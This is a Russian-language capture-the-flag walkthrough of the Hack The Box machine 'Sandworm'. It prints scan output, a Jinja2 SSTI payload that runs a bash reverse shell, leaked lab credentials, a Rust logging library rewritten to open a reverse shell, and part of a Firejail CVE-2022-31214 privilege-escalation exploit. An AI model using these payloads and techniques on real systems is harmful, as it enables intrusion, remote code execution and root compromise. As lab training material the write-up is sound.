Сложность: | Medium |
ОС: | Linux |
Баллы: | 30 |
IP: | 10.10.11.218 |
Теги: | PGP, SSTI, Firejail, SUID Binary, Code Analysis, CVE-2022-31214 |
После первичной разведки веб-приложения мы обнаруживаем сервис проверки корректности PGP подписи, уязвимый к SSTI. С помощью SSTI получили ограниченный доступ к учётной записи atlas
из-за работы Firejail
. Далее, в ходе разведки локальных файлов в домашней директории (/.config/httpie/sessions/localhost_5000/admin.json
) нашли пароль SSH учётной записи silentobserver
, подключились к целевой машине и получили соответствующий ему флаг пользователя. С помощью модификации одной из библиотек, использующихся в /opt/tipnet
и периодического фонового запуска этого бинарного файла от лица пользователя atlas
получили полноценный доступ к УЗ atlas
. В конечном счёте, осуществили эксплуатацию CVE-2022-31214
, получили доступ к root
и соответствующему флагу.
Проведём первичное сканирование цели:
nmap -sS -p- 10.10.11.218
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open ssl/http
Просканируем более подробно: nmap -sVC -O -p22,80,443 10.10.11.218
nmap -sVC -O -p22,80,3000 10.10.11.218
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after: 2050-09-19T18:03:25
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_http-server-header: nginx/1.18.0 (Ubuntu)
Сразу же добавим домен в /etc/hosts
:
# HTB
10.10.11.218 saa.htb
Проведём разведку на веб сервисе — ознакомимся с функционалом и просканируем директории:
Далее следует сканирование директорий доступных в этом сервисе на предмет уязвимого функционала:
gobuster dir -u https://ssa.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k
Получили следующий результат:
/contact (Status: 200) [Size: 3543]
/about (Status: 200) [Size: 5584]
/login (Status: 200) [Size: 4392]
/view (Status: 302) [Size: 225] [--> /login?next=%2Fview]
/admin (Status: 302) [Size: 227] [--> /login?next=%2Fadmin]
/guide (Status: 200) [Size: 9043]
/pgp (Status: 200) [Size: 3187]
/logout (Status: 302) [Size: 229] [--> /login?next=%2Flogout]
/process (Status: 405) [Size: 153]
При переходе по адресу https://ssa.htb/pgp
получаем публичный ключ:
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQINBGRTz6YBEADA4xA4OQsDznyYLTi36TM769G/APBzGiTN3m140P9pOcA2VpgX
[...]
FxEcPBaB0bhe5Fh7fQ811EMG1Q6Rq/mr8o8bUfHh=P8U3
-----END PGP PUBLIC KEY BLOCK-----
Можно заметить, что по ссылке https://ssa.htb/guide
доступна демонстрация работы сервиса по шифрованию/дешифрованию сообщений с помощью PGP-ключей:
После множественных попыток взаимодействия с доступным функционалом веб-сервиса было обнаружено, что он уязвим к SSTI. Для того, чтобы продемонстрировать наличие данной уязвимости сгенерируем gpg-ключ с инъекцией в поле имени:
gpg --gen-key
gpg -a -o public.key --export evil
echo 'life-time' | gpg --clear-sign
gpg --edit-key evil@gmail.com
gpg > adduid
Сменим имя на: → {{7*7}} ← инъекция SSTI
gpg > trust
gpg > uid 1
gpg > deluid
gpg > save
Далее, с помощью этого ключа закодируем PGP сообщение в разделе Encrypt Message. Этот же ключ и полученное сообщение вставим в поле Public Key и Signed Text. После запроса проверки подписи получим следующее сообщение:
Signature Verification Result
Signature is valid! [GNUPG:] NEWSIG evil@gmail.com:Signature made
[...]
gpg: Good signature from "49" [unknown]
[...]
Далее, используя полезную нагрузку {{7*'7'}}
мы можем сузить список обработчиков темплейтов, которые используется на целевом сервисе до Jinja2
или Twig
.
Воспользуемся списком полезных нагрузок для данных обработчиков и сформируем полезную нагрузку для получения первоначального доступа на целевой машине. Для начала закодируем следующую команду получения Reverse Shell в base64: echo "bash -i >& /dev/tcp/10.10.16.10/7331 0>&1" | base64
Получили: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC83MzMxIDA+JjEK
Затем, с помощью SSTI и полезной нагрузки для Jinja2 сформируем следующую инъекцию в параметр имени ключа PGP, с помощью которой получим доступ на целевой машине:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi80NDQ0IDA+JjEK | base64 -d | bash" ').read() }
Создадим подпись с таким параметром имени в ключе, закодируем сообщение и верифицируем подпись. Предварительно открыв порт 7331 на удалённой машине атакующего с помощью nc -nvlp 7331
получим доступ с локальной УЗ atlas
:
Выведем список пользователей с помощью cat /etc/passwd
и обнаружим ещё одну пользовательскую учётную запись silentobserver
:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
fwupd-refresh:x:113:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
silentobserver:x:1001:1001::/home/silentobserver:/bin/bash
atlas:x:1000:1000::/home/atlas:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
При попытке исполнить ряд стандартных Linux утилит получаем ошибку о том, что:
[...]
Could not find command-not-found database. Run 'sudo apt update' to populate it.
command_name: command not found
[...]
Проводя локальную разведку директорий обнаружим директорию .config
, в которой содержатся следующие папки:
Отсюда мы можем сделать вывод, что пользователь atlas
работает в окружении, ограниченном с помощью Firejail
. Но, не смотря на то, что доступ к утилитам пользователя atlas
ограничен удалось обнаружить учётные данные локального пользователя silentobserver
в файле admin.json, расположенном в домашней директории atlas: ~/.config/httpie/sessions/localhost_5000/admin.json
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
Подключимся по ssh с помощью полученных данных УЗ (silentobserver:quietLiketheWind22
) и успешно получим флаг пользователя!
Стандартно, в рамках первых шагов по поиску команд, доступных более высоко привилегированным УЗ выполним следующие две команды:
sudo -l; find / -perm -4000 -type f 2>/dev/null
После ввода пароля УЗ для первой команды получим сообщение о том, что данный пользователь не может выполнять sudo. Поиск файлов с привёл к следующему списку:
/opt/tipnet/target/debug/tipnet
/opt/tipnet/target/debug/deps/tipnet-a859bd054535b3c1
/opt/tipnet/target/debug/deps/tipnet-dabc93f7704f7b48
/usr/local/bin/firejail
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
/usr/bin/fusermount3
Просмотрим исходный код /opt/tipnet/target/debug/tipnet
:
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;
// We don't spy on you... much.
struct Entry {
timestamp: String,
target: String,
source: String,
data: String,
}
fn main() {
println!("
,,
MMP\"\"MM\"\"YMM db `7MN. `7MF' mm
P' MM `7 MMN. M MM
MM `7MM `7MMpdMAo. M YMb M .gP\"Ya mmMMmm
MM MM MM `Wb M `MN. M ,M' Yb MM
MM MM MM M8 M `MM.M 8M\"\"\"\"\"\" MM
MM MM MM ,AP M YMM YM. , MM
.JMML. .JMML. MMbmmd'.JML. YM `Mbmmd' `Mbmo
MM
.JMML.
");
let mode = get_mode();
if mode == "" {
return;
}
else if mode != "upstream" && mode != "pull" {
println!("[-] Mode is still being ported to Rust; try again later.");
return;
}
let mut conn = connect_to_db("Upstream").unwrap();
if mode == "pull" {
let source = "/var/www/html/SSA/SSA/submissions";
pull_indeces(&mut conn, source);
println!("[+] Pull complete.");
return;
}
println!("Enter keywords to perform the query:");
let mut keywords = String::new();
io::stdin().read_line(&mut keywords).unwrap();
if keywords.trim() == "" {
println!("[-] No keywords selected.\n\n[-] Quitting...\n");
return;
}
println!("Justification for the search:");
let mut justification = String::new();
io::stdin().read_line(&mut justification).unwrap();
// Get Username
let output = Command::new("/usr/bin/whoami")
.output()
.expect("nobody");
let username = String::from_utf8(output.stdout).unwrap();
let username = username.trim();
if justification.trim() == "" {
println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
return;
}
logger::log(username, keywords.as_str().trim(), justification.as_str());
search_sigint(&mut conn, keywords.as_str().trim());
}
fn get_mode() -> String {
let valid = false;
let mut mode = String::new();
while ! valid {
mode.clear();
println!("Select mode of usage:");
print!("a) Upstream \nb) Regular (WIP)\nc) Emperor (WIP)\nd) SQUARE (WIP)\ne) Refresh Indeces\n");
io::stdin().read_line(&mut mode).unwrap();
match mode.trim() {
"a" => {
println!("\n[+] Upstream selected");
return "upstream".to_string();
}
"b" => {
println!("\n[+] Muscular selected");
return "regular".to_string();
}
"c" => {
println!("\n[+] Tempora selected");
return "emperor".to_string();
}
"d" => {
println!("\n[+] PRISM selected");
return "square".to_string();
}
"e" => {
println!("\n[!] Refreshing indeces!");
return "pull".to_string();
}
"q" | "Q" => {
println!("\n[-] Quitting");
return "".to_string();
}
_ => {
println!("\n[!] Invalid mode: {}", mode);
}
}
}
return mode;
}
fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
let pool = Pool::new(url).unwrap();
let mut conn = pool.get_conn().unwrap();
return Ok(conn);
}
fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
let keywords: Vec<&str> = keywords.split(" ").collect();
let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");
for (i, keyword) in keywords.iter().enumerate() {
if i > 0 {
query.push_str("OR ");
}
query.push_str(&format!("data LIKE '%{}%' ", keyword));
}
let selected_entries = conn.query_map(
query,
|(timestamp, target, source, data)| {
Entry { timestamp, target, source, data }
},
).expect("Query failed.");
for e in selected_entries {
println!("[{}] {} ===> {} | {}",
e.timestamp, e.source, e.target, e.data);
}
}
fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
let paths = fs::read_dir(directory)
.unwrap()
.filter_map(|entry| entry.ok())
.filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
.map(|entry| entry.path());
let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash")
.unwrap();
let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)")
.unwrap();
let now = Utc::now();
for path in paths {
let contents = fs::read_to_string(path).unwrap();
let hash = Sha256::digest(contents.as_bytes());
let hash_hex = hex::encode(hash);
let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
if existing_entry.is_none() {
let date = now.format("%Y-%m-%d").to_string();
println!("[+] {}\n", contents);
conn.exec_drop(&stmt_insert, params! {
"timestamp" => date,
"data" => contents,
"hash" => &hash_hex,
},
).unwrap();
}
}
logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");
}
Проанализировав код tipnet заметим внешний контейнер Rust logger
.
Библиотека, реализующая логику работы внешнего контейнера содержится в директории /opt/
crates/logger/src/lib.rs, также просмотрим исходный код библиотеки:
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
Загрузим на целевую машину pspy64
и запустим его:
[...]
2023/X/X X:X:X CMD: UID=0 PID=22523 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
[...]
Значит на целевой машине периодически происходит запуск tipnet
от лица пользователя atlas
. Таким образом, если внести изменения в библиотеку lib.rs
, которая вызывается при исполнении /opt/tipnet
, то мы получим не ограниченную какими-либо средствами контроля сессию пользователя atlas
, что может помочь нам в дальнейшем при повышении до root
.
Отредактируем файл /opt/
crates/logger/src/lib.rs следующим образом для получения удалённой сессии от лица пользователя atlas
:
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;
pub fn log(user: &str, query: &str, justification: &str) {
let command = "bash -i >& /dev/tcp/10.10.16.10/7331 0>&1";
let output = Command::new("bash")
.arg("-c")
.arg(command)
.output()
.expect("error");
if output.status.success() {
let stdout = String::from_utf8_lossy(&output.stdout);
let stderr = String::from_utf8_lossy(&output.stderr);
println!("standar output: {}", stdout);
println!("error output: {}", stderr);
} else {
let stderr = String::from_utf8_lossy(&output.stderr);
eprintln!("Error: {}", stderr);
}
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
Открыв порт для получения Reverse Shell с помощью nc -nvlp 7331
получим сессию пользователя altas
.
Получив полноценный доступ пользователя atlas
теперь мы можем выполнять все стандартные команды, которые не были доступны нам ранее из-за ограничений Firejail. Также, выяснили, что atlas
входит группу jailer
и у него есть права на доступ к Firejail:
atlas@sandworm:/opt/tipnet$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
atlas@sandworm:/opt/tipnet$ la -la /usr/local/bin/firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
Это позволяет нам воспользоваться эксплоитом CVE-2022-31214. Для этого создадим вторую сессию пользователя atlas
. В текущей сессии воспользуемся кодом эксплуатации данной уязвимости на языке Python:
#!/usr/bin/python3
import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path
# Print error message and exit with status 1
def printe(*args, **kwargs):
kwargs['file'] = sys.stderr
print(*args, **kwargs)
sys.exit(1)
# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
s = os.stat(f)
if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
return False
with open(f) as fd:
ch = fd.read(2)
if len(ch) != 1 or ch != "1":
return False
return True
def mountTmpFS(loc):
subprocess.check_call("mount -t tmpfs none".split() + [loc])
def bindMount(src, dst):
subprocess.check_call("mount --bind".split() + [src, dst])
def checkSelfExecutable():
s = os.stat(__file__)
if (s.st_mode & stat.S_IXUSR) == 0:
printe(f"{__file__} needs to have the execute bit set for the exploit to \
work. Run <code>chmod +x {__file__}</code> and try again.")
# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
# just run a long sleep command in an unsecured sandbox
proc = subprocess.Popen(
"firejail --noprofile -- sleep 10d".split(),
stderr=subprocess.PIPE)
# read out the child PID from the stderr output of firejail
while True:
line = proc.stderr.readline()
if not line:
raise Exception("helper sandbox creation failed")
# on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
line = line.decode('utf8').strip().lower()
if line.find("child pid") == -1:
continue
Запустим код и во второй сессии введём команду, полученную в результате работы скрипта:
Мы смогли получить доступ к пользователю root
и обнаружили его флаг!